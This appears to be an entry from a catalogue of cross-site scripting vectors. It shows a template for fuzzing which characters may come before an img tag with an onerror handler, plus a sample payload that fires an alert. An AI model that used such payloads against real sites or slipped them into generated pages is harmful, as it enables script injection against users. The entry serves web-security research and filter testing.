chars before img tags

This XSS vector shows what characters can be used before the onerror event.

Created byt0xodile

Created Oct 25, 2025

Updated Oct 25, 2025

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CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<$[chr]img src onerror=log($[i])>

Sample payloads

<<img src onerror=alert(60)>